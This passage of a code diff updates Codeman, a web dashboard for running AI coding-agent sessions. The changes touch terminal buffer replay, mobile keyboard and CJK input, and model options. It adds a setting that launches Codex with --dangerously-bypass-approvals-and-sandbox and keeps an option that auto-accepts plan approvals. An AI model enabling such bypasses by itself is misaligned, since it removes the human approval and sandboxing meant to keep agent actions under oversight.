this._clearTerminalLoadState(sessionId, selectGen);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
this._setTerminalLoadState(sessionId, selectGen, 'fetching');
|
||||
_crashDiag.log('FETCH_START');
|
||||
const res = await fetch(`/api/sessions/${sessionId}/terminal?tail=${TERMINAL_TAIL_SIZE}`);
|
||||
if (this._isStaleSelect(selectGen)) return;
|
||||
const data = await res.json();
|
||||
if (this._isStaleSelect(selectGen)) {
|
||||
this._clearTerminalLoadState(sessionId, selectGen);
|
||||
return;
|
||||
}
|
||||
const data = (await res.json())?.data ?? {};
|
||||
_crashDiag.log(`FETCH_DONE: ${data.terminalBuffer ? (data.terminalBuffer.length/1024).toFixed(0) + 'KB' : 'empty'} truncated=${data.truncated}`);
|
||||
|
||||
if (data.terminalBuffer) {
|
||||
// Skip rewrite if fresh buffer matches cache — avoids visible clear+rewrite flash.
|
||||
// On slow connections (mobile 5G), the gap between clear() and chunkedWrite() is
|
||||
// very visible, causing the terminal to flash blank then repaint.
|
||||
const needsRewrite = data.terminalBuffer !== cachedBuffer;
|
||||
// Busy sessions skip cache restore and clear the terminal before fetching,
|
||||
// so they must replay the fetched buffer even when it matches cache.
|
||||
const needsRewrite = sessionIsBusy || data.terminalBuffer !== cachedBuffer;
|
||||
if (needsRewrite) {
|
||||
_crashDiag.log(`REWRITE: ${(data.terminalBuffer.length/1024).toFixed(0)}KB`);
|
||||
this.terminal.clear();
|
||||
this.terminal.reset();
|
||||
this._setTerminalLoadState(sessionId, selectGen, 'replaying');
|
||||
this._resetTerminalForReplay();
|
||||
// Show truncation indicator if buffer was cut
|
||||
if (data.truncated) {
|
||||
this.terminal.write('\x1b[90m... (earlier output truncated for performance) ...\x1b[0m\r\n\r\n');
|
||||
}
|
||||
// Use chunked write for large buffers to avoid UI jank
|
||||
await this.chunkedTerminalWrite(data.terminalBuffer);
|
||||
if (this._isStaleSelect(selectGen)) return;
|
||||
await this.chunkedTerminalWrite(data.terminalBuffer, TERMINAL_CHUNK_SIZE, bufferLoadOwner);
|
||||
if (this._isStaleSelect(selectGen)) {
|
||||
this._clearTerminalLoadState(sessionId, selectGen);
|
||||
return;
|
||||
}
|
||||
// Ensure terminal is scrolled to bottom after buffer load
|
||||
this.terminal.scrollToBottom();
|
||||
}
|
||||
@@ -2970,15 +3216,14 @@ class CodemanApp {
|
||||
}
|
||||
} else if (!cachedBuffer) {
|
||||
// No fresh buffer and no cache — clear any stale content
|
||||
this.terminal.clear();
|
||||
this.terminal.reset();
|
||||
this._resetTerminalForReplay();
|
||||
}
|
||||
|
||||
// Buffer load complete — unblock live SSE writes (queued events are discarded
|
||||
// to prevent duplicate content). chunkedTerminalWrite calls _finishBufferLoad
|
||||
// internally, but if we skipped the write (cache hit or empty), call it here.
|
||||
if (this._isLoadingBuffer) {
|
||||
this._finishBufferLoad();
|
||||
this._finishBufferLoad(bufferLoadOwner);
|
||||
}
|
||||
// Drop the guard so user input clears state normally
|
||||
this._restoringFlushedState = false;
|
||||
@@ -3090,13 +3335,15 @@ class CodemanApp {
|
||||
this._connectWs(sessionId);
|
||||
|
||||
_crashDiag.log('FOCUS');
|
||||
this.terminal.focus();
|
||||
this.terminal.scrollToBottom();
|
||||
if (shouldFocusTerminal && this.terminal) this.terminal.focus();
|
||||
this.scrollToLastNonEmptyLine();
|
||||
this._clearTerminalLoadState(sessionId, selectGen);
|
||||
_crashDiag.log(`SELECT_DONE: ${(performance.now() - _selStart).toFixed(0)}ms`);
|
||||
console.log(`[CRASH-DIAG] selectSession DONE: ${sessionId.slice(0,8)} in ${(performance.now() - _selStart).toFixed(0)}ms`);
|
||||
} catch (err) {
|
||||
if (this._isLoadingBuffer) this._finishBufferLoad();
|
||||
if (this._isLoadingBuffer) this._finishBufferLoad(bufferLoadOwner);
|
||||
this._restoringFlushedState = false;
|
||||
this._setTerminalLoadState(sessionId, selectGen, 'failed');
|
||||
console.error('Failed to load session terminal:', err);
|
||||
}
|
||||
}
|
||||
@@ -3126,6 +3373,7 @@ class CodemanApp {
|
||||
this.projectInsights.delete(sessionId);
|
||||
this.pendingHooks.delete(sessionId);
|
||||
this.tabAlerts.delete(sessionId);
|
||||
this.terminalLoadStates.delete(sessionId);
|
||||
this.clearCountdownTimers(sessionId);
|
||||
this.closeSessionLogViewerWindows(sessionId);
|
||||
this.closeSessionImagePopups(sessionId);
|
||||
@@ -3192,7 +3440,9 @@ class CodemanApp {
|
||||
if (killTitle) {
|
||||
killTitle.textContent = session.mode === 'opencode'
|
||||
? 'Kill Tmux & OpenCode'
|
||||
: 'Kill Tmux & Claude Code';
|
||||
: session.mode === 'codex'
|
||||
? 'Kill Tmux & Codex'
|
||||
: 'Kill Tmux & Claude Code';
|
||||
}
|
||||
|
||||
document.getElementById('closeConfirmModal').classList.add('active');
|
||||
@@ -3286,6 +3536,7 @@ class CodemanApp {
|
||||
this.sessions.clear();
|
||||
this.terminalBuffers.clear();
|
||||
this.terminalBufferCache.clear();
|
||||
this.terminalLoadStates.clear();
|
||||
this.activeSessionId = null;
|
||||
try { localStorage.removeItem('codeman-active-session'); } catch {}
|
||||
this.respawnStatus = {};
|
||||
|
||||
@@ -51,12 +51,14 @@ const GROUPING_TIMEOUT_MS = 5000; // 5 seconds - notification grouping
|
||||
const NOTIFICATION_LIST_CAP = 100; // Max notifications in list
|
||||
const TITLE_FLASH_INTERVAL_MS = 1500; // Title flash rate
|
||||
const BROWSER_NOTIF_RATE_LIMIT_MS = 3000; // Rate limit for browser notifications
|
||||
const MOBILE_RESIZE_RETRY_MS = 30000; // Small-viewport resize re-send while a desktop sizing claim is hot
|
||||
const AUTO_CLOSE_NOTIFICATION_MS = 8000; // Auto-close browser notifications
|
||||
const THROTTLE_DELAY_MS = 100; // General UI throttle delay
|
||||
const TERMINAL_CHUNK_SIZE = 32 * 1024; // 32KB chunks for terminal buffer loading
|
||||
const TERMINAL_TAIL_SIZE = 1024 * 1024; // 1MB tail for initial load (more scrollback on tab switch)
|
||||
const SYNC_WAIT_TIMEOUT_MS = 50; // Wait timeout for terminal sync
|
||||
const STATS_POLLING_INTERVAL_MS = 2000; // System stats polling
|
||||
const TUI_REDRAW_SETTLE_MS = 400; // Grace for a TUI to redraw after a real resize, before fetching its buffer
|
||||
|
||||
// Z-index base values for layered floating windows
|
||||
const ZINDEX_SUBAGENT_BASE = 1000;
|
||||
@@ -242,6 +244,9 @@ const SSE_EVENTS = {
|
||||
SESSION_WORKING: 'session:working',
|
||||
SESSION_AUTO_CLEAR: 'session:autoClear',
|
||||
SESSION_AUTO_COMPACT: 'session:autoCompact',
|
||||
SESSION_LIMIT_PAUSE_SCHEDULED: 'session:limitPauseScheduled',
|
||||
SESSION_LIMIT_RESUME: 'session:limitResume',
|
||||
SESSION_LIMIT_RESUME_CANCELLED: 'session:limitResumeCancelled',
|
||||
SESSION_CLI_INFO: 'session:cliInfo',
|
||||
SESSION_MESSAGE: 'session:message',
|
||||
SESSION_INTERACTIVE: 'session:interactive',
|
||||
|
||||
@@ -149,7 +149,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
}
|
||||
|
||||
const data = await resp.json();
|
||||
return data.path;
|
||||
return data.data.path;
|
||||
},
|
||||
|
||||
// Decode an image File through the browser and re-encode it to a format the
|
||||
|
||||
+61
-16
@@ -76,7 +76,7 @@
|
||||
<!-- Detached single-session window title (shown only in solo mode) -->
|
||||
<div class="solo-session-title" id="soloSessionTitle" style="display: none;" aria-live="polite"></div>
|
||||
|
||||
<div class="header-right">
|
||||
<div class="header-right mobile-collapsed" id="headerRight">
|
||||
<button class="btn-icon-header btn-solo-redock" id="soloRedockBtn" style="display: none;" onclick="window.close()" title="Re-dock to dashboard (close window)" aria-label="Re-dock session to dashboard">⊞</button>
|
||||
<button class="tunnel-indicator" id="tunnelIndicator" style="display: none;" onclick="app.toggleTunnelPanel()" title="Cloudflare Tunnel" aria-label="Tunnel status">
|
||||
<span class="tunnel-dot"></span>
|
||||
@@ -106,7 +106,7 @@
|
||||
<span class="stat-value" id="statMem">--</span>
|
||||
</div>
|
||||
</div>
|
||||
<button class="btn-icon-header btn-response-viewer-header" onclick="app.toggleResponseViewer()" title="View last response" aria-label="View last response"><svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z"/><circle cx="12" cy="12" r="3"/></svg></button>
|
||||
<button class="btn-icon-header btn-response-viewer-header btn-response-viewer-header--hidden" onclick="app.toggleResponseViewer()" title="View last response" aria-label="View last response"><svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z"/><circle cx="12" cy="12" r="3"/></svg></button>
|
||||
<button class="btn-icon-header btn-multimonitor btn-multimonitor--hidden" onclick="app.launchMultiMonitor()" title="Open Codeman across all displays" aria-label="Open Codeman across all displays"><svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><rect x="2" y="4" width="13" height="9" rx="1.5"/><rect x="11" y="9" width="11" height="8" rx="1.5"/></svg></button>
|
||||
<button class="btn-icon-header btn-notifications" onclick="app.toggleNotifications()" title="Notifications" aria-label="Toggle notifications" style="display:none;">
|
||||
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M18 8A6 6 0 0 0 6 8c0 7-3 9-3 9h18s-3-2-3-9"/><path d="M13.73 21a2 2 0 0 1-3.46 0"/></svg>
|
||||
@@ -380,6 +380,9 @@
|
||||
<button class="run-mode-option" data-mode="opencode" onclick="app.setRunMode('opencode')">
|
||||
<span class="run-mode-dot opencode"></span>OpenCode
|
||||
</button>
|
||||
<button class="run-mode-option" data-mode="codex" onclick="app.setRunMode('codex')">
|
||||
<span class="run-mode-dot codex"></span>Codex
|
||||
</button>
|
||||
<div class="run-mode-sep"></div>
|
||||
<div class="run-mode-header">Recent Sessions</div>
|
||||
<div class="run-mode-history" id="runModeHistory"></div>
|
||||
@@ -612,6 +615,15 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="auto-resume-box">
|
||||
<label class="checkbox-inline">
|
||||
<input type="checkbox" id="modalAutoResumeEnabled" onchange="app.autoSaveAutoResume()">
|
||||
<span>Auto-resume when usage limit resets</span>
|
||||
</label>
|
||||
<span class="auto-resume-status" id="autoResumeStatus"></span>
|
||||
<span class="form-hint">If Claude pauses on a usage limit ("limit reached · resets 3pm"), Codeman waits for the reset time and automatically continues the work. Independent of the respawn loop below.</span>
|
||||
</div>
|
||||
|
||||
<div class="form-row">
|
||||
<label>Duration</label>
|
||||
<div class="duration-presets">
|
||||
@@ -651,7 +663,7 @@
|
||||
<div class="form-section-header">Respawn Cycle</div>
|
||||
<div class="form-row">
|
||||
<label>1. Update Prompt</label>
|
||||
<textarea id="modalRespawnPrompt" rows="3" placeholder="Prompt to send when idle" onchange="app.autoSaveRespawnConfig()" style="resize: vertical; min-height: 60px;">update all the docs and CLAUDE.md</textarea>
|
||||
<textarea id="modalRespawnPrompt" rows="1" placeholder="Prompt to send when idle" onchange="app.autoSaveRespawnConfig()" style="resize: vertical; min-height: 30px;">update all the docs and CLAUDE.md</textarea>
|
||||
</div>
|
||||
|
||||
<div class="respawn-options-row" style="margin: 8px 0;">
|
||||
@@ -663,22 +675,17 @@
|
||||
<input type="checkbox" id="modalRespawnSendInit" checked onchange="app.autoSaveRespawnConfig()">
|
||||
<span>3. Send /init</span>
|
||||
</label>
|
||||
</div>
|
||||
|
||||
<div class="form-row">
|
||||
<label>4. Kickstart Prompt</label>
|
||||
<textarea id="modalRespawnKickstart" rows="2" placeholder="Optional: prompt if /init doesn't trigger work" onchange="app.autoSaveRespawnConfig()" style="resize: vertical; min-height: 40px;"></textarea>
|
||||
<span class="form-hint">Sent only when /init completes but Claude stays idle</span>
|
||||
</div>
|
||||
|
||||
<div class="form-section-header">Behavior</div>
|
||||
<div class="respawn-options-row">
|
||||
<label class="checkbox-inline">
|
||||
<label class="checkbox-inline" title="Presses Enter for plan approvals and default question options">
|
||||
<input type="checkbox" id="modalRespawnAutoAccept" checked onchange="app.autoSaveRespawnConfig()">
|
||||
<span>Auto-accept prompts</span>
|
||||
</label>
|
||||
</div>
|
||||
<span class="form-hint">Auto-accept presses Enter for plan approvals and default question options</span>
|
||||
|
||||
<div class="form-row">
|
||||
<label>4. Kickstart Prompt</label>
|
||||
<textarea id="modalRespawnKickstart" rows="1" placeholder="Optional: prompt if /init doesn't trigger work" onchange="app.autoSaveRespawnConfig()" style="resize: vertical; min-height: 30px;"></textarea>
|
||||
<span class="form-hint">Sent only when /init completes but Claude stays idle · Auto-accept presses Enter for plan approvals and default options</span>
|
||||
</div>
|
||||
</div>
|
||||
</div><!-- End respawn-tab -->
|
||||
|
||||
@@ -891,6 +898,7 @@
|
||||
<div class="modal-tabs">
|
||||
<button class="modal-tab-btn active" data-tab="settings-display">Display</button>
|
||||
<button class="modal-tab-btn" data-tab="settings-claude">Claude CLI</button>
|
||||
<button class="modal-tab-btn" data-tab="settings-codex">Codex CLI</button>
|
||||
<button class="modal-tab-btn" data-tab="settings-models">Models</button>
|
||||
<button class="modal-tab-btn" data-tab="settings-paths">Paths</button>
|
||||
<button class="modal-tab-btn" data-tab="settings-notifications">Notifications</button>
|
||||
@@ -981,6 +989,13 @@
|
||||
<span class="slider"></span>
|
||||
</label>
|
||||
</div>
|
||||
<div class="settings-item" title="Show the response viewer (eye) button in header">
|
||||
<span class="settings-item-label">Response Viewer</span>
|
||||
<label class="switch switch-sm">
|
||||
<input type="checkbox" id="appSettingsShowResponseViewer">
|
||||
<span class="slider"></span>
|
||||
</label>
|
||||
</div>
|
||||
<div class="settings-item" title="Show the multi-monitor button in the header (opens Codeman spanned across all displays)">
|
||||
<span class="settings-item-label">Multi-monitor Button</span>
|
||||
<label class="switch switch-sm">
|
||||
@@ -1133,13 +1148,26 @@
|
||||
</label>
|
||||
<span class="form-hint">Enable experimental Agent Teams for all new Claude sessions (disabled by default)</span>
|
||||
</div>
|
||||
<div class="form-row">
|
||||
<label>Claude Model</label>
|
||||
<select id="appSettingsClaudeModel" class="form-select">
|
||||
<option value="">Default (CLI setting)</option>
|
||||
<option value="claude-fable-5[1m]">Fable 5 (1M context)</option>
|
||||
<option value="claude-fable-5">Fable 5</option>
|
||||
<option value="opus[1m]">Opus (1M context)</option>
|
||||
<option value="opus">Opus</option>
|
||||
<option value="sonnet">Sonnet</option>
|
||||
<option value="haiku">Haiku</option>
|
||||
</select>
|
||||
<span class="form-hint">Model for new Claude sessions (pinned via the case's .claude/settings.local.json) — takes precedence over the 1M Opus toggle below</span>
|
||||
</div>
|
||||
<div class="form-row form-row-switch">
|
||||
<label>1M Opus Context</label>
|
||||
<label class="switch">
|
||||
<input type="checkbox" id="appSettingsOpusContext1m">
|
||||
<span class="slider"></span>
|
||||
</label>
|
||||
<span class="form-hint">Use 1M token context window (model: opus[1m]) for all new sessions</span>
|
||||
<span class="form-hint">Use 1M token context window (model: opus[1m]) for all new sessions — ignored when a Claude Model is selected above</span>
|
||||
</div>
|
||||
<div class="form-row">
|
||||
<label>Thinking Effort</label>
|
||||
@@ -1170,12 +1198,25 @@
|
||||
<span class="form-hint">Process priority (-20 to 19, higher = lower priority, default: 10)</span>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Codex CLI Tab -->
|
||||
<div class="modal-tab-content hidden" id="settings-codex">
|
||||
<div class="form-section-header">Codex CLI</div>
|
||||
<div class="form-row form-row-switch">
|
||||
<label>Bypass Approvals and Sandbox</label>
|
||||
<label class="switch">
|
||||
<input type="checkbox" id="appSettingsCodexDangerouslyBypassApprovals">
|
||||
<span class="slider"></span>
|
||||
</label>
|
||||
<span class="form-hint">Start new Codex sessions with --dangerously-bypass-approvals-and-sandbox</span>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Models Tab -->
|
||||
<div class="modal-tab-content hidden" id="settings-models">
|
||||
<div class="form-row">
|
||||
<label>Default Model</label>
|
||||
<select id="appSettingsDefaultModel" class="form-select">
|
||||
<option value="">Default (CLI default)</option>
|
||||
<option value="claude-fable-5">Fable 5 (Most powerful)</option>
|
||||
<option value="opus">Opus (Most capable)</option>
|
||||
<option value="sonnet">Sonnet (Balanced)</option>
|
||||
<option value="haiku">Haiku (Fast & cheap)</option>
|
||||
@@ -1199,6 +1240,7 @@
|
||||
<option value="haiku">Haiku</option>
|
||||
<option value="sonnet">Sonnet</option>
|
||||
<option value="opus">Opus</option>
|
||||
<option value="claude-fable-5">Fable 5</option>
|
||||
</select>
|
||||
<span class="form-hint">Quick searches, codebase exploration</span>
|
||||
</div>
|
||||
@@ -1209,6 +1251,7 @@
|
||||
<option value="haiku">Haiku</option>
|
||||
<option value="sonnet">Sonnet</option>
|
||||
<option value="opus">Opus</option>
|
||||
<option value="claude-fable-5">Fable 5</option>
|
||||
</select>
|
||||
<span class="form-hint">Code writing, feature implementation</span>
|
||||
</div>
|
||||
@@ -1219,6 +1262,7 @@
|
||||
<option value="haiku">Haiku</option>
|
||||
<option value="sonnet">Sonnet</option>
|
||||
<option value="opus">Opus</option>
|
||||
<option value="claude-fable-5">Fable 5</option>
|
||||
</select>
|
||||
<span class="form-hint">Writing and running tests</span>
|
||||
</div>
|
||||
@@ -1229,6 +1273,7 @@
|
||||
<option value="haiku">Haiku</option>
|
||||
<option value="sonnet">Sonnet</option>
|
||||
<option value="opus">Opus</option>
|
||||
<option value="claude-fable-5">Fable 5</option>
|
||||
</select>
|
||||
<span class="form-hint">Code review, quality checks</span>
|
||||
</div>
|
||||
|
||||
@@ -41,6 +41,8 @@
|
||||
// eslint-disable-next-line no-unused-vars
|
||||
const CjkInput = (() => {
|
||||
let _textarea = null;
|
||||
let _terminalContainer = null;
|
||||
let _xtermTextarea = null;
|
||||
let _send = null;
|
||||
let _initialized = false;
|
||||
let _composing = false;
|
||||
@@ -75,6 +77,23 @@ const CjkInput = (() => {
|
||||
_textarea.setSelectionRange(1, 1);
|
||||
}
|
||||
|
||||
function _isMobileComposer() {
|
||||
return !!(
|
||||
_textarea &&
|
||||
typeof MobileDetection !== 'undefined' &&
|
||||
MobileDetection.isTouchDevice() &&
|
||||
_textarea.classList.contains('cjk-input-visible')
|
||||
);
|
||||
}
|
||||
|
||||
function _resetInput() {
|
||||
if (_isMobileComposer()) {
|
||||
_textarea.value = '';
|
||||
} else {
|
||||
_resetToPhantom();
|
||||
}
|
||||
}
|
||||
|
||||
/** Check if textarea contains only phantom(s) or is empty — no real user text */
|
||||
function _isEffectivelyEmpty() {
|
||||
return !_strip(_textarea.value);
|
||||
@@ -97,24 +116,44 @@ const CjkInput = (() => {
|
||||
_composing = false;
|
||||
_textarea = document.getElementById('cjkInput');
|
||||
if (!_textarea) return this;
|
||||
_terminalContainer = document.getElementById('terminalContainer');
|
||||
|
||||
// Seed the phantom character
|
||||
_resetToPhantom();
|
||||
// Seed the phantom character for the hidden/immediate CJK path.
|
||||
_resetInput();
|
||||
|
||||
_listeners.mousedown = (e) => { e.stopPropagation(); };
|
||||
_listeners.focus = () => {
|
||||
window.cjkActive = true;
|
||||
if (_isMobileComposer() && _textarea.value === PHANTOM) {
|
||||
_textarea.value = '';
|
||||
return;
|
||||
}
|
||||
// Restore phantom if textarea was emptied while blurred
|
||||
if (!_textarea.value) _resetToPhantom();
|
||||
if (!_textarea.value && !_isMobileComposer()) _resetToPhantom();
|
||||
};
|
||||
_listeners.blur = () => { window.cjkActive = false; };
|
||||
_textarea.addEventListener('mousedown', _listeners.mousedown);
|
||||
_textarea.addEventListener('focus', _listeners.focus);
|
||||
_textarea.addEventListener('blur', _listeners.blur);
|
||||
|
||||
_listeners.xtermFocusRedirect = () => {
|
||||
if (!_isMobileComposer()) return;
|
||||
_textarea.focus();
|
||||
};
|
||||
if (_terminalContainer) {
|
||||
_xtermTextarea = _terminalContainer.querySelector('.xterm-helper-textarea');
|
||||
if (_xtermTextarea) {
|
||||
_xtermTextarea.addEventListener('focus', _listeners.xtermFocusRedirect, { capture: true });
|
||||
}
|
||||
}
|
||||
|
||||
// ── Composition tracking ──
|
||||
_listeners.compositionstart = () => {
|
||||
_composing = true;
|
||||
if (_isMobileComposer()) {
|
||||
if (_textarea.value === PHANTOM) _textarea.value = '';
|
||||
return;
|
||||
}
|
||||
// Clear phantom so IME sees a clean textarea — some IMEs include
|
||||
// existing text in the composition region which would corrupt input.
|
||||
if (_textarea.value === PHANTOM) {
|
||||
@@ -123,6 +162,7 @@ const CjkInput = (() => {
|
||||
};
|
||||
_listeners.compositionend = () => {
|
||||
_composing = false;
|
||||
if (_isMobileComposer()) return;
|
||||
// Defer flush: some Android IMEs haven't committed text to textarea
|
||||
// when compositionend fires. setTimeout(0) ensures we read the final value.
|
||||
setTimeout(_flush, 0);
|
||||
@@ -145,7 +185,7 @@ const CjkInput = (() => {
|
||||
} else {
|
||||
_send('\r');
|
||||
}
|
||||
_resetToPhantom();
|
||||
_resetInput();
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -153,7 +193,7 @@ const CjkInput = (() => {
|
||||
if (e.key === 'Escape') {
|
||||
e.preventDefault();
|
||||
_composing = false;
|
||||
_resetToPhantom();
|
||||
_resetInput();
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -167,6 +207,19 @@ const CjkInput = (() => {
|
||||
// Below: only when NOT composing (composing keystrokes belong to IME)
|
||||
if (_composing) return;
|
||||
|
||||
if (_isMobileComposer()) {
|
||||
if (e.key === 'Backspace' && _isEffectivelyEmpty()) {
|
||||
e.preventDefault();
|
||||
_send('\x7f');
|
||||
return;
|
||||
}
|
||||
if (PASSTHROUGH_KEYS[e.key] && _isEffectivelyEmpty()) {
|
||||
e.preventDefault();
|
||||
_send(PASSTHROUGH_KEYS[e.key]);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// Backspace: forward to PTY when no real text in textarea
|
||||
// (Desktop path — Android uses the input event + phantom approach)
|
||||
if (e.key === 'Backspace' && _isEffectivelyEmpty()) {
|
||||
@@ -198,6 +251,13 @@ const CjkInput = (() => {
|
||||
// making keydown unreliable. input fires AFTER character insertion and
|
||||
// carries inputType which tells us whether the text is final or tentative.
|
||||
_listeners.input = (e) => {
|
||||
if (_isMobileComposer()) {
|
||||
if (_textarea.value.includes(PHANTOM)) {
|
||||
_textarea.value = _strip(_textarea.value);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// ── Backspace / delete detection ──
|
||||
// Android long-press backspace generates rapid deleteContentBackward events.
|
||||
// The phantom character ensures the textarea is never truly empty, so each
|
||||
@@ -245,8 +305,13 @@ const CjkInput = (() => {
|
||||
if (handler) _textarea.removeEventListener(event, handler);
|
||||
}
|
||||
}
|
||||
if (_xtermTextarea && _listeners.xtermFocusRedirect) {
|
||||
_xtermTextarea.removeEventListener('focus', _listeners.xtermFocusRedirect, { capture: true });
|
||||
}
|
||||
window.cjkActive = false;
|
||||
_composing = false;
|
||||
_terminalContainer = null;
|
||||
_xtermTextarea = null;
|
||||
for (const key of Object.keys(_listeners)) delete _listeners[key];
|
||||
_initialized = false;
|
||||
},
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
* Defines two exports:
|
||||
*
|
||||
* - KeyboardAccessoryBar (singleton object) — Quick action buttons shown above the virtual
|
||||
* keyboard on mobile: arrow up/down, /init, /clear, paste, and dismiss.
|
||||
* keyboard on mobile: arrow up/down, /init, /clear, paste, Esc, and dismiss.
|
||||
* The paste button opens a dialog that handles both text paste and image attach
|
||||
* (native picker + best-effort image paste, routed through app._uploadAndInsertImages).
|
||||
* Destructive actions (/clear) require double-tap confirmation (2s amber state).
|
||||
@@ -37,7 +37,7 @@ const KeyboardAccessoryBar = {
|
||||
element: null,
|
||||
_mode: 'simple', // 'simple' or 'extended'
|
||||
|
||||
/** HTML for simple mode: arrows, commands, paste, dismiss */
|
||||
/** HTML for simple mode: arrows, commands, paste, Esc, dismiss */
|
||||
_simpleButtons: `
|
||||
<button class="accessory-btn accessory-btn-arrow" data-action="scroll-up" title="Arrow up">
|
||||
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5">
|
||||
@@ -57,6 +57,7 @@ const KeyboardAccessoryBar = {
|
||||
<rect x="8" y="2" width="8" height="4" rx="1" ry="1"/>
|
||||
</svg>
|
||||
</button>
|
||||
<button class="accessory-btn" data-action="esc" title="Escape">Esc</button>
|
||||
<button class="accessory-btn accessory-btn-dismiss" data-action="dismiss" title="Dismiss keyboard">
|
||||
<svg width="22" height="22" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="3">
|
||||
<path d="M19 9l-7 7-7-7"/>
|
||||
|
||||
@@ -255,10 +255,9 @@ const KeyboardHandler = {
|
||||
if (heightDiff > 150 && !this.keyboardVisible) {
|
||||
this.keyboardVisible = true;
|
||||
document.body.classList.add('keyboard-visible');
|
||||
// Restore --app-height: MobileDetection's resize listener fires before ours
|
||||
// and may have already shrunk it for the keyboard viewport change.
|
||||
// Use initialViewportHeight (captured before keyboard opened).
|
||||
document.documentElement.style.setProperty('--app-height', `${this.initialViewportHeight}px`);
|
||||
// While the keyboard is open, size the app to the visual viewport so
|
||||
// xterm's bottom row and cursor sit above the OS keyboard.
|
||||
document.documentElement.style.setProperty('--app-height', `${currentHeight}px`);
|
||||
this.onKeyboardShow();
|
||||
}
|
||||
// Keyboard hidden (viewport grew back close to initial)
|
||||
@@ -277,6 +276,8 @@ const KeyboardHandler = {
|
||||
// state changes, orientation changes, and other viewport shifts
|
||||
if (!this.keyboardVisible) {
|
||||
this.initialViewportHeight = currentHeight;
|
||||
} else {
|
||||
document.documentElement.style.setProperty('--app-height', `${currentHeight}px`);
|
||||
}
|
||||
|
||||
this.updateLayoutForKeyboard();
|
||||
@@ -295,6 +296,7 @@ const KeyboardHandler = {
|
||||
|
||||
const toolbar = document.querySelector('.toolbar');
|
||||
const accessoryBar = document.querySelector('.keyboard-accessory-bar');
|
||||
const cjkInput = document.getElementById('cjkInput');
|
||||
const main = document.querySelector('.main');
|
||||
|
||||
if (this.keyboardVisible) {
|
||||
@@ -302,6 +304,15 @@ const KeyboardHandler = {
|
||||
// translate up so it sits at the bottom of the visual viewport.
|
||||
// This formula accounts for iOS scrolling the visual viewport (offsetTop)
|
||||
// when the user types in xterm's hidden textarea.
|
||||
//
|
||||
// MUST measure against the LAYOUT viewport (window.innerHeight): the
|
||||
// bars are position:fixed, which anchors to the layout viewport — on
|
||||
// iOS that keeps its full height while the keyboard is open. Measuring
|
||||
// the shrunken .app instead (its height tracks --app-height = visual
|
||||
// viewport) made the offset compute to 0 on iOS, leaving the toolbar
|
||||
// and accessory bar behind the OS keyboard (0.9.8 regression). On
|
||||
// Android the layout viewport itself shrinks with the keyboard, so
|
||||
// innerHeight === visualBottom and the offset is naturally 0 there.
|
||||
const layoutHeight = window.innerHeight;
|
||||
const visualBottom = window.visualViewport.offsetTop + window.visualViewport.height;
|
||||
const keyboardOffset = Math.max(0, layoutHeight - visualBottom);
|
||||
@@ -317,13 +328,17 @@ const KeyboardHandler = {
|
||||
if (accessoryBar) {
|
||||
accessoryBar.style.transform = keyboardOffset > 0 ? `translateY(${-keyboardOffset}px)` : '';
|
||||
}
|
||||
if (cjkInput?.classList.contains('cjk-input-visible')) {
|
||||
cjkInput.style.transform = keyboardOffset > 0 ? `translateY(${-keyboardOffset}px)` : '';
|
||||
}
|
||||
|
||||
// Shrink main content area so terminal doesn't extend behind keyboard.
|
||||
// Use stable keyboard height (not scroll-dependent) for padding.
|
||||
// 84px = toolbar (40px) + accessory bar (44px).
|
||||
// Reserve only Codeman's visible controls. The OS keyboard is outside
|
||||
// the visual viewport; adding its height here creates a large blank area
|
||||
// above the mobile toolbar on iPhone.
|
||||
const keyboardHeight = this.initialViewportHeight - (window.visualViewport.height || window.innerHeight);
|
||||
if (main && keyboardHeight > 0) {
|
||||
main.style.paddingBottom = `${keyboardHeight + 84}px`;
|
||||
const cjkInputHeight = cjkInput?.classList.contains('cjk-input-visible') ? 44 : 0;
|
||||
main.style.paddingBottom = `${84 + cjkInputHeight}px`;
|
||||
}
|
||||
} else {
|
||||
this.resetLayout();
|
||||
@@ -334,6 +349,7 @@ const KeyboardHandler = {
|
||||
resetLayout() {
|
||||
const toolbar = document.querySelector('.toolbar');
|
||||
const accessoryBar = document.querySelector('.keyboard-accessory-bar');
|
||||
const cjkInput = document.getElementById('cjkInput');
|
||||
const main = document.querySelector('.main');
|
||||
|
||||
if (toolbar) {
|
||||
@@ -342,6 +358,9 @@ const KeyboardHandler = {
|
||||
if (accessoryBar) {
|
||||
accessoryBar.style.transform = '';
|
||||
}
|
||||
if (cjkInput) {
|
||||
cjkInput.style.transform = '';
|
||||
}
|
||||
if (main) {
|
||||
main.style.paddingBottom = '';
|
||||
}
|
||||
@@ -376,6 +395,8 @@ const KeyboardHandler = {
|
||||
// to the accessory bar.
|
||||
this._shrinkPaddingToFit();
|
||||
app.terminal.scrollToBottom();
|
||||
app._syncMobileHelperTextareaToCursor?.();
|
||||
app._localEchoOverlay?.rerender?.();
|
||||
// Send resize to server so PTY dimensions match xterm
|
||||
this._sendTerminalResize();
|
||||
}
|
||||
@@ -421,10 +442,13 @@ const KeyboardHandler = {
|
||||
const cols = Math.max(dims.cols, 40);
|
||||
const rows = Math.max(dims.rows, 10);
|
||||
app._lastResizeDims = { cols, rows };
|
||||
// Declare the viewport type so resize arbitration can ignore this
|
||||
